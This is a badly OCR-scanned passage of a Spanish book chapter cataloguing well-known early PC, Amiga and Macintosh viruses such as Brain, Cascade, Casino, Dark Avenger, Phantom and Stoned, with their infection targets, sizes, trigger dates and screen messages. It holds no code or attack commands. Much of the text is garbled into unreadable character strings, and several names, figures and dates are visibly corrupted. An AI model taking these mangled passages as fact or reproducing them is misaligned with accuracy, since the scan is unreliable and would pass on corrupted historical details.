Diagrama que 
muestra la formo 
en que el v/rus 
Apr/1 1st se 
introduce en los 
archivos 
ejecutables; 
entre el Header 
y el código o 
instrucciones del 
programo. 

CODIGO 
EJECUTABLE 

HEADER (EXE) 

CODIGO 
EJECUTABLE 

tlvíl en la memoria de la computador<~ ogreg.indose .:1! \'l'Ciur 

de llam,1das del s1stcma -que es el que controla todos los ílC­
cesos al disco-. Infectíl cu¡¡lquier disquete que se intruduze<l 
en ],¡ unidad, dJñcmdo su /¡lb/a de asig11ació11 dt! nrcJúvvs (File 
Allocation T1ble, FAT). Unil vez alcanzildo su objetivo se retir;1 
del sector de carga, deslruyendo así cualquier indiCio de ~l. 

Brain. Conocido t.-.mbién como Pnquistaní, Nipper, l\1cn­
te Paquistaní, Clone, Brain Ashar y Brain Singaporc, es el 
mismo que se documentó t~mpli<Hnt..•ntc en el Capítulo 5, sóln 
que <~quí se <1ne>..<1n investig.KuJnes posteriores que t~rrojt~ron 
dt~tos interesantes. 

Se tomó un disquete infectildo CL)Jl Hmlll y se procedió t1 

limpi.1rlo utilizando varios .mti\·irus como ClcaJJ de t-.... kAfcc, 
NcHIOJJ AV, MSt\V, y otros, Se volvió <1 inftxt;¡r nuevamente y 
Jsí varias veces; al rC\'iSM el 11111Jll1, se encontró que por c.1d.1 
nueva infección, el virus m;uc.1b.1 como daliarfos otros tres 
nuevos dusta::>. El procedimiento se detiene hasl<1 que el dis­
co no tiene m;ís espacio libre p;1r.1 d;:-¡r c;:-¡bid.l <1\ cuerpo del 
virus. 

Byte Randil. Tr.:lbt~ja como un ~1/::>niHJ, pues nliiK<l perm.l­
ncce ('11 1<1 mism11 loc.1lidad de 1.1 memoriil, por lo que es de 
difícil ddccción Verifict~ los dtsqudes que se insertan en la 
uniJ;¡d de disco y se ;¡utocopi;l, cspeci;¡Jmente en los di sen~ de 
carga o S!StL'mil ele las computadortls ;\miga de Commudurc. 

Figura 6.5 
Fluxograma del 
procedimiento 
de Infección que 
lleva a cabo 
Poqulstán. el 
cual es muy 
simtlar al de la 
mayoría de los 
virus existentes. 

Figura 6.6 
PC Tools versión 
4.21 muestro el 
mapa de un 
disquete 
infectado 
muchas veces 
por el virus Brain. 
Observe la gran 
cantidad de 
clusters 
marcados como 
dañados. 
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Cacuphony T.1mbu!n etHllllilil) cnnHJ Cat"OJIIIOII~I /, L'::; un 
nl!L'\"O v1ru::. dL' {li"Í¡.',L'il dcscnnnctdn qu,• ':>C 11.1 dL"~Ct_tbiL't to ,1 

p;¡rlil dl' fl•bn•¡n dl• 19tJ-t, l·uy<Jiongitud o~nl.1l'l1\rt~ ~~50 y lJ()O 
bytl'S. C.1d.1 \'L'í' quL" se L'jL'Ot!;¡ un prngralllcl Cdlll.lg\.ldn ¡ltH" 
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este virus, infectu un arch1vo con extensión EXE que se L'n­
cuentrc en el directorio en uso. J\:1odifie<l la fcch<1 y la hora de 
los archivos infectados, aunque la hora siempre la fija en 
4:08a, y produce un bcep en la bonna del sistema, algunas 
veces, poco después de ejecutJrsc el archivo infectado. Espe­
ramos nn tener que reportar infecCiones o d<H'ios serios GlUSil­

dos por este nuevo virus en el futuro. 
Casc.1de (Virus de cascada). Se le conoce lilmbién como Fn-

1/ir~g Tears, Aut1mm Leaves, I3fnckfack, Fn/1, FnlliiiS Letters, 1701, 
170-J y Cascadc-1706. Originado a fmalcs de 1987, es producto 
de un Caballo dt• Troya modificado y produce IJ caídil del texto 
a la parte inferior de la pantalla en los monifL)fCS VGA. Infec­
ta los archivos .COM, aumentando su tam;uio en 1 701 bytes. 

Estudios renlizados por Da ve Ferbrache, en combinación 
con John McAfee, han dado cumu restlltado un serio nn<llisis 
de este virus, en el cual encontraron característic.Is muy espe­
ciales: 

:,;. Estcí basndo en un algoritmo de cvd¡ficación que dificulta su 
detecotln. 

;... Se act1va dependiendo de una serie de convergencias Jlea­
torias como tipo de máquina, lipa de monitor, t,ujcta de re­
loj y época del año. 

;;.. No afecta los sistemas onginales IBM, sino los compalibles 
o clones. 

,.._ Por una falla de sus creadores, el virus que se act1va en 
cualquJCr computadora con momtor CGA o VCA, lo hace 
sólo en los meses de septiembre, octubre, noviembre o di­
ciembre de los años 1980 o 1988. Esto se debe a que las 
computildoras que no tienen reloj, casi s1empre toman la 
fecha de creación del sistema operativo DOS, que hasta la 
versión 3.3, se presenta como 1-1-1980. 

Cnscndc-B es una variante del Cascnde original que se <1ctiva 
en el otoño de cualquier aii.o. 1704, también II.Jmado Black­
jack, es el mismo gue el 7707, pero con 3 bytes m;ís. El 1704-B 
es igual al 1704, pero la visualizaoón de la ce1scada ha sido 
reemplazada y lo que sucede es la repetición del procf..'so de 
carga inicial cuando se activa el virus. El 170-l-C es igual ,1] 
nnterior, pero su fecha de activación se da en diciembre de 
cualquier año. Cnscnde 1691 despliegd aleatoriamente un 
mensaje: "/L SISTEMA é FO'n-UT0/1" "S.E.K. VII<LIS A·ladc in 
ITALY RM" "Si O G.Ferraris 90/91 (e)". Por tí! timo tenernos el 
1704-0, que no respeta ni il las máquin;;¡s origin<~les de IBI'vl. 

Figura 6.7 
Orrodelos 
demos de 
AVP 200, es este 
in1er€sonte virus 
azaroso que se 
juega con usted 
lo inlegrldod de 
todos los datos 
del disco duro. 
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Casino . .-\(urtun.lli.HnL'ilk Jlll es un \'Jru~ mu_y Cll111tÍn, ~ .1 
que el conCL'plu dL'Structi\'O 11/.;Hn~ll, ~e pre~t.l Inclusu p.l!,l 
que .:dguJll1~ ,l\-L'iliUierOS USU,Hil1S Se lll~'gllL'll J.1 llllf..'~nd.1L~ 
de sus di1tus. El prPpÚ~Jtu de L'Sll: \'nu~ mfl'Ctl_lr dL' .-l_rL_I!I' o~ 
COt'l.-1 L'" bu1 r;¡r !.1 t.lb\,1 de a-.¡gn.l(!Úll de .nchJ\'OS (J-..\ 1) dl'l 

diSCO durn, y p.lr.l el\n, ~L' JlliJOdl!u~ .11 CO!\.ti\.tAND co:..t 
obtell1L'Ildl1 el cunlllll dl' la comput,1dur.1. 

lnfL·ct,J tudo~ ]¡¡~ ,lfdll\'o:, cune\ tenSIÓn C00.·1 que ~L' en­
cucntrL'll L'll L'i diJcctuno actu.JI. o los que de~L'Cll: cuanl~n se 
h<1ce un accc~t 1 .11 d i:-.Lll o m el ~..·um.1ndu Di r. I·:Jl~ t_k~cu bJt..•rl~l 
por pnnwr,1 \'L'/. L'll 7\.Lllt.l h.1CJ,l,1bnl dL' 1991. _1:1 \'l.r~JS se .H:I!­
\'<1 el dí.l Ei de lns meses de L'IWIO, ,1brd y agn~to,) t..u.mdo lo 
hace, 1conuen;;,l \.1 dJ\'ersiún 1 

Al <lcli\'<lrse el \'1rus Co::>i11o hace ur1<1 copia de 1~ Ft\T én la 
memnn<~ RAi\1 y burr,l los datns del disco. En~eguu.\.1 prcscn~ 
ta una p.mtalla como 1.1 que se mue~tra en la f¡gura 6.7, dond~ 
le permiiL> tr,1 ttlr de s:liv.1gu.nd,u 1.1 mtegnd<Jd de los d~llll~ 
del d 1..:;cu, lllL'dl.lllll' un¡uq.;o dL• ,1/.,JL Usted cucnt.l c~m Cil~Ll~ 
oportun 1d,ldcs ~1.1r,1 lngr.1r qw~ J.1s lrL'~ maqu¡¡u\,ls g.~~·~tt:rJ.1~ 
le den el result,1do ??7, di..• lo contrario -s1 caen tli..S ~1gnos 
f(f-, L'i \'lrus cumple su comC'Iido. . 

Si tu\·o\,1 SUl'l te de ganZ~rle <11 virus, se de~plieg.1 en !.1 p.m­
tall<l el llli..'lls;¡jL' 
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HASTA RO ! Yo u' re 1 uck1¡/ Jusi i111e- lnll for 1¡our ow11 sakc, 1/VW 
SWITCH OFF YOUR CO~IPUTER ÁNb DON'TURN IT 

ON TILL TO~IOR!m\\' 11 ' 

s1 no contó con la suerte de su lado, el mcns.1je sed burlón y 
ofensivo, e incluso tiene palabras bastante soeces para el CiiSO 

en que ::.e le tr<1te de r<Jstrear al virus o rcin~ei;:diz<~r la compu­
tadora sin h.lCerlc caso. 

Datacrime. Infecta los archivos ejecutabll!s con extensión 
.COM y se mstala como res1dente en la memoria de la com­
putador<~. su longitud es de 1 280 bytes, por lo que t<1mbu~n 
recibe el nombre de virus 1 280 o Cvlumbus lJny. Se aloja al fi­
nal de los arch1vos infectados, pero envía 3 bytes al principio 
del archivo p<~ra que íll ejecutarse, lo primero que se active es 
el virus. 

No ataca .11 archivo COr..Hv1AND.COM, pues está progra­
mado para no cont<~giar los archivos cuyo nombre contenga 
como séptimil.letra una D. Después dcl12 de octubre de cu<~l­
quier ail.o, cuando se ejecuta presenta en la pantalla un men­
saje que <hcc. "DATA(!\! ME VIRUS 1\ELEASED: 1 MARCI·! 
1989". En ese momento ret~iiZJ unformaft'O dt' lmjo 11/Vcl (Low 
leve! formal) en el d1sco duro. 

Dark Avenger. Un virus originario de Bulgaria, conocido 
además como Eddic, DinHa, \-'l\N 5oft, Black Avt'Hga, Rabid 

·Avenga, E vil Me11 y c.tros, fue dL'Scubierto en septiembre de 
1989. Su long1tud es de 1 800 bytes. Este virus infcct<1 losar­
chiVOS eJCCutílbks .COI\·1, .EXE, .OVL y .OVR, incluyendo el 
COMMAND.COM. Es muy prolífico y es ct~p<I.l de infectcH 
hasta los archivos que se copien con los comandos COPY y 
XCOPY del DOS, de tal manera que <ltmque los disquetes 
"origen" o "destino" no estén contagiados, <1l terminar de co­
pi<:!r los archivos, los cjecutt1blcs pueden llevar ya el \'lfllS. 

Dcscubie1to v estud1<1do en Est;¡dos Unidos, cada decimo­
sexta infección ~nví,l parte de su código a escribir en sectores 
SL'Ieccionados alcatontllllL'ntc, destruyendo los datos ahí con­
tenidos E~ te virus contiene IJs siguientes palabras en su có­
digo· ''The DMk Avengcr, copy• igh1 1988, \989", y elmcns;,je 
"Th1s progr<1m \\'JS \\'filien In the ctty of So lb Eddie Ji ves .. 
Somcwarc in Time!" 

dllr\SE. Virus residente en memorl.1 que atac<1 ,uchivos 
.Dl3E altcrt~ndo sus códigos inici<~les y trt~sponiendo aleato­
riílmeniL' 2 bytes. CrL'íl un tln.:hivo BUG.DA'C en donde llev<1 
un rcgi~tro de sus infeccwnes, las cuales re<~ liza sobre los ¡¡r­
chiVllS ejecutables .COM y .EXE. Su longitud es Je l 86-t 

Figura 6.8 
El virus Den Zuk 
presenta este 
mensaje cuando 
se leclea 
@5J+@I]+~. 
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bytes; fue dL·scubicrto L'l1 i\!ue\·~ York por Russ Grl.'l'nbcrg, 
uno de los f)lllllcJns en IalJ/igadtJ tJHfl¡'rl'll~. 

Al eJL'Cut.nse llllll dl.' h1s pmgram.1s tnkctados, SL' inst.1l~ 
en b nlL'muria y L'S~ler,l cu.llqutL'f mtt•ntu de .1bnr un ;¡rchi\'O 
.p13F pt1r.l proceder .1 .llkr.Hio. nwd¡fic,mdo lus d.1tus dl' 
modo que tlfl.HL'LC.ln cnrnn CtlriL'Cio..; IJL·~pués de 9() dí.1s, 
a nu 1.1 L'l dm•t"ftll itl mí: y 1.1 ftll 1111 de a~r_.,;HtJOtÍII di' 111 dm•os. :\ lgu­
nus ill\'L'Stig.Hioró dL•I p10hiL'lll.l dL' ltlS \'irus recomit.:'nd.ln 
crear en los dtscos un Mchi,·n UUC.Dr\T v c.1mb1arle L'l ,ltn­
buto ,1 .::ó/n itodtll"ll (1e.1d only), pa1.111o dl.'J,lrle .1! vtrus 1.1 posi­
bilidad dL' crL·.ulo, L'\'tt.mdn así su prop.lg;,cit"m 

Den Zuk Este \'lrus dL• (lrigenlndonl.'~Hl L'~ conuci\ln t.llll­
bién ·conw St'tlldl o Vcut':11clilll, \'fue dL"scubiL'rlo en l9SS. 
Como b m.1yorí,1 dL· I11S \'tlllS in(L'Chlfl.'S de St'CIUI rit' ti/Jalltflh' 

de aqw·ll.lS fcch.ls, st"llo infl.·ct.l disqude~ de 360 kB de 5 1¡_.''. 

Un.1 \'L'/. tnsl.1l.lll(ll.'ll l,1 lnL'llllHi.l, c.1d.1 llC,JStt'm que SL' tl'int­
cialiCL' 1.1 Comput,ldtHíl .1 11,1\'L'S de bs kd.lS ~ + 2I!..J-t ~, 
prescnltl el n1L'nS.lJe Lk· l.1 ftgur,l 6.S en lu..; llltllllttHL'S tqHl 
CGA, VCA tl EG,\. 

Su cúdigo ocup.1 9 ~L·clnl'L'S compll'ln., y Jo gr.1b.ll'll un.t h1: 
cahd.KI dL'IL'Ill1Íll.1lLl, por lo l]lH' tud.l tnlormt~cilltl quL' est_L' 
ahí alm.KL'lltld.l, ~L'r.'i ~ubtL'L'SCIIt,l. Estn In cunvll'rh•l•n un \'t­
rus pL'I ignl.,tl, con t r.niu .1 l.b cl.tsi ltc.lciune~ que ~e h.lll hed11 l 



158 Los virus más conoc1dos 

acere<~ de él como virus no tbiill1o. Dentro Jel código se pue­
dl.' cncontr<H como cndena de te>. lo: 

"Wcl/rotnc IOiflt' 
Club· 
-The HackerS­
Hackin' 
Al! The Time 
The H.1cl-..erS" 

Se supone que Den Luk es par1entc cerc;mo del virus Ol1io 
y<~ que éste renombra los archi,·os ¡nfl'ct.Hios conH; 
YC.l.E.R.P, y Den Luk h<tcc lo propio cuando se sobrt.;>escribc 
en un sector de .ur.1nque mfectndo con Hmm, además sus có­
digos son muy parecidos. 

Devil's Dance (B.1ile del diablo). Es un virus del 11p0 TSR 
(Term1na te and Stn y Residen 1) que fu e desa n l)llt~do en [\:léxico 
a finL'S de 19H9. fnfl~Ctil ,uchi\"OS Cjl'CUIJb\es .COt\1, incluyen­
do ni C0~1~1AND.Cü_!\·1, y tiene un<1 longitud de 9-t 1 byics. 

Puede mfecttH _<~1 mJsmo programa ''arias veces husta que 
lo huc~ crecer arnb<1 de los 6-l J...B, lo que hace que el sistema 
opc_riltlvo DOS ya no lo reconozca como urchi\'o .CO~f y no 
lu_c¡ecutc. Cuando está uciÍ\'O en la menwri<~ y se intent,, eli­
mm<lrlo re~tnbl~dcnch) el sistl.'mil con [@9 +;@j +!@.ill, prc­
seJ~t.l un mcnsa¡~ en la pantalla como el de la f1gura 6.9. (¿Has 
baJ!a~lo con el dJ.1blo ba¡o la tenue luz de IJ luna? ¡Reza por 
tus d1scos! El Guasón). 

~¡ está residente en la memoriil de lil computador<~, des­
pues de l~clear unos S 000 caracteres, este virus borra la pn­
mera capta de 1<1 FAT del disco. 

DOS_? UNESCO. lnfccl<1 los <1rch1vos cjecut<1blcs .COM. 
A parcelO por primera vez en Moscú, en abril de 1988 en un 
camp<1mento ver~J~icgo de computJción para nirios patroci­
nado por la UNl:SCO. Los progran1.1s infectados realizan 
una repetición de la carga inicial del sistema cuando se ejecu­
tan. La v_a~1~nte 62-B de este virus no rcilliza la repetición de 
!él Cél~g.1 lllJCial, sino que cuando se activa suprime el progra­
ma e¡ecut<1do. 

Eggbcater. No se tr,1La en re.IIiJad de un virus infonnáti­
co, si¡~o ~le un Cnbnl_lv de 'lloyn que erróne.Imente, por ~us c.l­
ractcnsLJC.lS, St~ ha lth.'ntlfu .. -adn como un virus A diferencia 
de o~r?s C<1ba!los de Troyél, Eggbe<1tcr cuando se ejecuta no 
manlf~esta actJvid;Hi alguna en la pantalla del monitor, pero 
a p<1rl1r del momento en que se activa comicnz.J a borrar to­
dos los archivos que ht~yJ en los discos del s•stema. 

Figura 6.9 
Mensaje que 
presenta el virus 
Dev11's Dance 
cuando se hace 
una 
reinicialización 
en calienre de lo 
compu1adora. 
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Un.1 \·e;. que h.l cnnclu1dn :'ll dt·~truc\Í\'.1 !,1l11ll', \·1-:.u.IIi/..l 
en la p.mt.lll.lelnlen:-.ljL' ti!~ F . .-\!~!'! C¡1/chn! L.1 r.1úin por 1.1 
que no se Cl)ll~lder.l comn viru:-; es quL' no IH't'lL' !.1 c.lpílcid.Id 
de Jupilc<tr su código, lo cual e~ la p• i111 q•.ll..::.\I'.Kkrí~tic,l de 
los v1rus infnrm.ltJcos 

Flip. Enl.1 Ak•m¡¡nia Orient<ll de llJ90, se descubrt.'l'Sie vi­
rus suizo, cuy.I longitud es de 2 .1-13 bytes. Se cla~Ifica dentro 
de los uÜl'CLOrL'S dl.' .lrcil!\'OS L'jecu\Jbks con L':\tl'nsaln .CO~·I, 
.EXE y m·erl.1ys, pero t.1mbién corrompL' los d.1tns de la ln{J/tl 
de parfJCIOIIt'~ y l.'l sct'/01 di' 11/Tilllr/llt' de lo~ d1scos duros En­
cnpt.l -codific.1- su o1di)..;o dL•ntw de los pwgr;¡mas utfcct.l­
dns gr.Kias .tun algoritmo lJUL' nohcnc mjs de 2 bytes, por lo 
que es de t1po poliniUJfo (PolymtH phic). 

Los dí.Is 2 de c<Idíl mes, entre l,IS -l v 4:59 dC' la tardl', cu<In­
do est.í. .lLtJvo en 1.1 llll'lllnri.l de 1.1 CL)I{Ipu!,tdnr.I y ..?st.I ou.·nta 
con un monitor VGA o EGt\, el v1rus Fl1p "\·nlle<~" !.1 pílnt.JI\íl; 
es decir ubic,¡ lo de .nnb<l <Jb,lJU y viceversa -de ahí su nnm­
bre Fl1p-. 

FridJy thc I3th. ·¡:lrnbtén llam.Ido V1111:; (OIIIl) Vmb 51]. 
AunquL' 1\evti elnHsnw nnmbrL', no L'S l'imismo quL' L'l conn­
cido Vie1 nes 1 J dl' Jeru~Jién El V¡m:; G1111 11 V1111:; 5 f!. ~e Jll.ln­
Liene Jt-11\'0 L'll I.I memori.l e infect.l l!l~ .IrChl\'ll-... CO~I. Su 
ongen se ~illi<I en Sud,íirica L'n l!J07 Cu;-¡ndo se L'¡ecu\,1 bt1~c.1 
dos ,-,rchJ\'llS CO:'\len L'l disc11 du1o y unuen 1.1 utlilbd A, y 
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los infcct.1. Es muy \'e luz y casi no se detecta su <Lcceso al dis­
co; si se ejecut<1 los VIernes 13 borra el progro:nna ar,fJtnón­
igual que el virus de ]crusaUn-. 

La v<~ri<Jntc Friday 13th-B acttÍa como el onginé'l], pero in­
fecta todos los archivos del subdirectorio en que se trabttjíl. 
La llltunn versión, Fudny 13tii-C, ílgrcgíl l.'l mensnjc Wc hol'c 
we lwvcn't 1/ICOIIVC//Íenced you, cada vez que se activa 

Goldcn GJte o Virus 500. Aunque se h¡¡ riZJsificado como 
un virus orig111al, se supone que es el SF (Aiamedt~-C), modifi­
cado p<Ha formatear Ja unidad C CU<llldO .:lC<1b.1 eJ COillíldOr 

Es muy remoto que las infccnoncs de este virus se lleguen a 
¡¡ctivar, pues el contador está progmm<1do p.H.l actuar al lle­
gar <1 500 mfcccioncs con el mismo equipo -de 500 discos di­
ferentes-. Se espcr<1 que la infección nunca se llegue a activar 
por las c.uacterís!Jc<~s t<~n difíciles de cumplir en una sob se­
sión de trab<~¡o, ya que el contador 1egresi1 a cero c,lli.l vez 
que se ,1pag<1 l,l computaJor.J. 

Goldl'll Galt•-B ha reducido su contadnr para <JC!Jvarse a l,1s 
30 infeconnes. El Gofdt'll Ca le-C, f.Jmbién llamado 1\.·!a:?.alfiÍII, 
puede infectt~r discos f1¡os o duros, incremcnt<1ndn su posibi­
lid<ld de activación, pues cad.1 vez que se c01rga el sistema, se 
h<~ce conL·l n11snw disco. 

INrr 29. Programa e>..tremos<Jmente Virulento l¡ue se des­
cubre a fin<~ les de 1988 lnfectJ los 01rchivos ejecutables, de 
sistema y de datos de J;¡s computadur01s /'vLlcintosh, aunque 
obviamente los de Jatos no rL"sult.m infecciOsos. Uno de los 
efectos que lo delatan es cu01ndous1L•d introduce un disquete 
a la unidad; el vi rus en\'Íd un nH.'n.S,lje que dice: Thc cfisk ( lltJ/11-
lnc dt'f discu) 1/ct•ds 111/J/Or repans. Vo you 11'11111 lo fl'JNIIr 1/? 

Italian, de Turín o de la Pelotita Ver Capítulo 5. 
Jerusalén, Israelí o del Viernes 13. Ver C.1pítulo 5. 
Lehigh. ÜJ igin.:1du en el Centro de ComputaciÓn de \;¡ 

UniverSJLbd de Lchigh, en Jlcnsilvanlíl e;1 1987, infl'CIOl sola­
mente el .1rchivo COi\1t\1AND.COt-.·l del sistema oper,1tivo 
de l<~s PC de ¡u;..¡ o comp<~tibles. Se actÍ\'O 01l contabiliz,u 
4 i11fl'cnones, destruyendo tndos los d.1tus y c<Jmbt.mdo 
las fechas dL' (rl'Jciún de los .uchivos en tan corto tiempo, 
lJliL' es muy dtíícil de dL'iectM .llliL's dL' que empiece 1.1 des­
trucCIÓn. 

Como se ,l(tJ\',J cuando detecto !.1 cuart<1 mfeccJún, es lógi­
co ljlll' esos cuntro d1scus L) progrílmas cont.Jgi01r.ln a otros 
cuatro cad« uno de ellos, y así suce~iv«mente, reproducién­
dose en un01 progresión geométrica de iníecciones vir.1lcs, 
por lo que es uno de lns m,ís viruk·ntos. 

Figuro 6.10 
Pantalla de 
demostración 
del virus 
Metal/tea 1739 
que presento el 
anllvlrus 
AVP _200. Este 
virus es de la 
mlsmofomlllo 
que MetoUico 11, 
pero cambio lo 
presentación en 
lo pantalla. 
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L1 úmca nwddic,Icil'lll que se k coJwce es l_c}¡¡sh-2, quL' 
anula 1.1 labia dt' ~~~isnaoón dt' arclui'o~ (Fdl' :\lloc.ltinn T.1bk, 
FAT) del disco cu.llldo lk•ga a cunt.lblliz,¡r JO JnfecCLOilL'S dL• 
la memoria¡{,\;..!. Es uno de los \'lflL.S m.is conoodos \' L':->tu­
di<H.-Io!:>, por Sll ,1Jt,1 dLSt.'lllÍll.lCÍl,lll \ .. ll.LllÍCíllll.:lllef,l de b-uii,lr]tl 
es renombr.mdo el ,lJ'chi\'ll co:--.t.\1,\i\11) C0\1, C.lmbi.índtlle 
el ,ltnbutll ,1 ~á/tl h't"flllll, p<~ra h) cu.1l h.1hrí.1 que nwddtc.u !u~ 
nrchi,'us CONFIC S\'S y AUTOEXEC BAI". 

M el al! ica 11. Dl' lns ,.¡rus nue\·os, dL'SC\1 hil'rto L'n SL'pl IL'Ill­
bre de 1993, :--.tetallic,l es de origL·n ruso L' Lnlect,l los archJ\'OS 
ejecutables con e'\IL'nsiones .EXE y .CO~L e'\rL·pto L'l CO~I­
MAND.C0:-..1 IJe(IL'Illent.l en:?. kB la memon01, .Hmque 1.1 
longitud tut.1l de !:>U cúd1go es de 1 129.1 1 i.JJ b! tes.lnsert.L su 
código al fm.1l de los MChi\'tlS infl~Ct.ldos, y L'fl e! in tenor pue­
de encon\r,H~e !.1 c.llkn.l de IL''\Itl. "/\lt'f,¡//¡m t'c1 2 ()" ". HI)~­
COAli\-1;\ND" "(e) USSf~ Altl~t'tlil' 92" [n L'! .lllll\'lfll~ ruStl "e 
encuentr.1 l;, \'L'r.SLÚil AlctafJJCII /JU3, lJLIL' .ILkm.h pmdLLCL' un 
efe(to ,.i~ualen b p.llll.:llla que b dL·form,J h,1ciéndol.1 pequc­
iia y gr.1nde 01 inll'r\'.:lll)S, siempre cornendo el IllO\'ÍllllL'ilto 
en form.l n~rtic.1l; l'S decir, de ,n¡ JiJ,l h.K!.l ,lba¡o. 

Michelangclo. Ver C.1pítuloS. 
Mnnkcy. Fue descubJl'rtll en octulHe de 199:?., SLI~ que se 

teng,lll d.llns de su llrigL'll h.1~1.1 la fech.1. Es un ,.11 us mkch1f dl' 
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la tabla de pallicltmcs (t\taster l3oot Record, MBR) Je los discos 
du~os y del St'c/or de arrmu¡uc de los disqueiL'S, que perm<mccc 
residente en lil memoníl de !J comput<~Jorn. Utiliza técmcas 
Stcnlth par<1 esconderse cuJndo se le trata de detectar. 

Encripta _el c~n~eniJ? de! sector de arrmu¡ue origi11al y gu<H­
da su prop1o coJJgo Viral en el Cilindro O, Lado O, Sector 3, 
agre~tmdo al MBR un apuntador que lo liga;~) ¡¡rrangue. En 
los d1sqw.>tes almacena su código en el último sector del di­
rectorio. 

New Zealomd. T<1mbién llamado Virus Stoncd, fue conoci­
do a principios de 1988, en Nueva Zclandn. Se activa aleato­
riamente después de la séptima Glrga inici.1l con el m1smo 
disco infectado, prcsentJndo el mensaje Your compulcr is 1/0ll! 

slollcd. Lcgalizc /vtnrijwma. No mfecta discos duros y parece 
que no produce daiios mayores. 

Sus v<~riantes son Nt•w Zenlaud-8, que ya atac¡¡ a los discos 
duros y Ncw Zenfnlld-C, que además y¡¡ no produce el mensaje, 
por lo q~u~ se hace muy L!ifícil.Jc detect<1r, ilunquc b mayorí<~ 
de los v1rus, cu¡¡nJo es tan act1vos en la me morí<~, redircccio­
nJn los intentos de detL>cciún y siempre dificultan ésta. 

nVIR. Este virus se introduce en l<1s computador<1s t-.1a­
cinlosh, y su 01 igen se supone que ocurrió u mediados de 
1987 en Hamburgo, Alemania Occidental. Con muchas varia­
ciones en la v.e.rsión actual, prop1nad,1s por su código fuente 
que ha pern11t1do a otros program<Jdores modificarlo, ataca 
?i~ectamente el ~ist~l~líl, por lo cual un<1 vez que está presente 
mtecta toda apiJC<lCJon que se ejecute, OGlSi\)nando la cnídJ 
del sistema, el borr<~do de archivos, l~1 gencr.1ción de un soni­
do o "becp" cuando se ejecuta un program.t, en caso de que 
el s1stem¡¡ no cuente con sintetizador de voz, si cuenta con él, 
se escuchad Don't p.:mic!. 

Oropax. Este virus residente en memoria se conoce t<Jm­
bién como M11sic Vir11s o Musicin11. lnfect.1 directamente los 
<:~rchivos .COM, interceptando la interrupción 21 del sistema 
oper<tlivo DOS, por lo que en adelante tndo intento de crear, 
renombr<1r, remover o visualiz<Jr cualquier subdirectorio o 
archivo con extensiÓn .COM <JCI!Vil la infección. ,\Jcatoria­
mcnte, 01! activarse, toe<~ trL's melodías en v.ui.1s ocasiones, 
con mterv.1los de 7 minutos. 

Fu~ dt~scubierlo hast.1 dJCJembre de 1Y8'J, <1llnque y<~ se 
menciOnaba en reportes antenores. Los archivos infectados 
incr~ment~n su longitud entre 2 756 y 2 806, p<lra logr<~r una 
long1tud fmal SJ(•mpre rlivisiblc entre 51. L1s ünicas v<~rian­
tcs que se conocen son Oropax-H, Ow¡l(l:r-C y Oropax-0. 

--

Figura 6.11 
Esta calavera 
que presento 
Phontom 1, va 
apareciendo 
lentamente y 
cuando está 
completa, de las 
cavidades 
oculares salen 2 
rayos azules. 
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Phantom. Virus no rnuv común descubJL'lft\ en 1991 en 
Hung1 í.1 Es ¡esidente t:n n1emon<l e infector de los .l!dll\'oS 

.COt-.1, L':\cepto Ld COi'vtMAND COI\ l. Cuandu u1w de e~ tos 
arclll\'OS inlecl<~dos se cst<l e¡ecut.mdn, se despl1eg.1 el :,i­
guiente men~a¡c: 

"111/WOKIE' 
!'m a TI-IESEASJ:! 1 h\'e in YOUR compull'r- sorry .. 
Th<~nks lo BraJnS in thc Computer Siences!" 
el c.u<~l est.í.L•ncnpl<tdo dL•ntrn del cúdigo, junto con otra Cil­

den<~ de le'\ lO, l<tmb1én encnpl.lda· "T!Jc' f>JIANTOM \\'11~ hi'lt' 
- SOf~RY" "(e) PIJANTOA1- Tlns 1'iru~ H1116 dc::1~11t'd in fflc' 
HLINCAIUAN"' ,.Vl/WS DEVHOI'INC l.ARÓ/\ATUI<Y. 
(11.VD L.),,¡ W. 

En l'l progr<~m;¡ .mtJ\'irus AVP_200, se mcJKion.l L'l nrus 
Pfum/om1, 4ue infect;¡ tamb1én a los ardll\·ns EXE ~· cu.1ndo 
no se utJI¡z,l el !l'd.1do por un cicrtn tiempo, ,1ctl1.l como un 
pro/ CC /or de p1111 / r1! J :1 (Se fL'L'I1 S,wcr), pI ese ni illld o ~ n l~ 1 mollllU r 
imágenes lerroríl ica:, ( \'t'r figuras ú 11, ().12 y G.l3 ). 

Retro-Virus Este es un virus muy espcCI.ll, y por lo que 
se puede entender dcll'studio rL'•lltzado por Ste\'c Cibsun, SL' 
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Figura 6.12 
Cuando se ve 
completa ro 
calavera 
presentada por 
Phontom 1, se 
comienza a 
mezclar un 1 ext o 
y va 
desapareciendo 
la calavera. 

Figura 6.13 
Finalmente 
queda sólo 
el texto 
PHANTOM 1 en 
lo pantalla. 
en un color rojo 
·candente" 

···a•"" 
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las cop1<1S de sí mismo, medi<mle una bandera en forma de 
trébol que p~rmanece oculta al sistemJ_ 

Cuando si! Jet! va cualquiera de las tres p<~rks del progr<~­
ma se .Jcli\'.1 la bandera, y cuando se ejecuta uno de los tres 
.programas infectados, se desactiva. Si el virus detecta que se 
apaga repentinfl.mcnte el sistema, supone que se ha removi­
do el pwgram,l infect<~dn y espera pJcicntcmcntc durante al­
gunos meses p11ra después re111fcct<H los programas que se 
pongun a su alcance. 

Virus SC/\. AptHeciú en octubre de 1987. Proyecta un 
mensaje en 1.1 pantalla del momtor: Somctlm1g woude1j111 has 
happcued Yo111 Ami_~(l IS alivc! A11d t'V!!II bella, ~o111e ofyour chsks 
are ¡,¡fcclt'd by a VIRUS! Bro11[o';llt to you by niJOII!er nw5tcr¡nece of 
tl!e Mt'ga-M1gllty SCA. At,1ca el sector de carga y se posiciona 
en la memoria al carg<u el disco infectado. 

Scores. Este virus ataca las computadorus f\·bcintosh. 
Consiste en un<~ bomba de tiempo que se activa a los dos, 
cuatro y siete días después de la infección del disco. Sus rc­
sultJdos son imprevistos y van desde problem<~S dl! impre­
sión y fal1.1s en el sistema, husta fallas en las opcr.-.cioncs de 
acceso a J¡sco y modificaciones a los ,uchivos de datos -no-

tas y apuntes-. 
Se supone que ~e originó en Elcctronic Data Systcms, de Da-

lias, <1 fines de 1987. Posiblemente a principios de enero de 1988, 
una compañía de Washington vendió, sin s.-.berlo, un buen nú­
mero de computadoras con el referido virus en el disco f1jo. 
Aunque no nfecta los arch¡vos de datos, sí at<le<l cualquier pro­
grama l'Jt~cutable, incrementando su longitud L'll clproximada· 
mente 7 kB, por lo que part~ su err<Ldicación se deben ehmin.:tr 
todos esos progr,unas, e incluso los archivos de Sistema. 

La firma A pple, .-.dmitiendo su existencia, se colocó como 
